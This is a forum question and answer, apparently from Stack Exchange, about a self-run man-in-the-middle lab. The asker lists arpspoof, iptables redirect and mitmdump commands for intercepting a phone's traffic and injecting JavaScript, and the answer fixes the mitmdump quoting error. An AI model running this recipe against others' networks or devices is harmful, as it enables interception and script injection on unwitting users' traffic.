I am trying to set intercept traffic from my phone using ARPspoof and inject a javascript header into the page.

Before I started I entered these commands:

echo 1 > /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i wlan0 -o eth1 -j ACCEPT
sudo iptables -A FORWARD -i eth1 -o wlan0 -j ACCEPT
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080

To intercept the traffic, I entered these commands:

sudo arpspoof -i wlan0 -t <phone_ip_here> <router_ip_here>
sudo arpspoof -i wlan0 -t <router_ip_here> <phone_ip_here>

And I started a web server to deploy the javascript file that will be embedded in each webpage that the phone receives

This web server will be hosted on the Kali computer's IP at port 8000

sudo python3 httpServer.py

And finally when I run mitmdump I get this error:

mitmdump -s 'injector.py http://<kali_computer_ip>:8000/script.js'

Error Message:

/usr/bin/mitmdump: No such script

I am not sure what I am doing wrong, If I do execute mitmproxy with the command:

mitmproxy -p 8080

The traffic does get routed to mitmproxy HOWEVER, I get a 400 Bad Request Error on my phone's browser and mitmproxy returns http protocol error.

Any help or suggestions will be warmly welcomed.

1 Answer 1

mitmdump -s 'injector.py http://<kali_computer_ip>:8000/script.js'

Pay close attention to the single quotes. The -s option to mitmdump specifies the name of the script to run. Here, you're effectively telling the computer that the name of the script is


Since the filename injector.py does not have any special characters in it, it does not need to be quoted. The URL, on the other hand, might need quoting if it contains a question mark or other characters that have a special meaning for the shell. So assuming that the injector.py is located in the current directory where you're executing this command, I think this might do what you want:

mitmdump -s injector.py 'http://<kali_computer_ip>:8000/script.js'

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .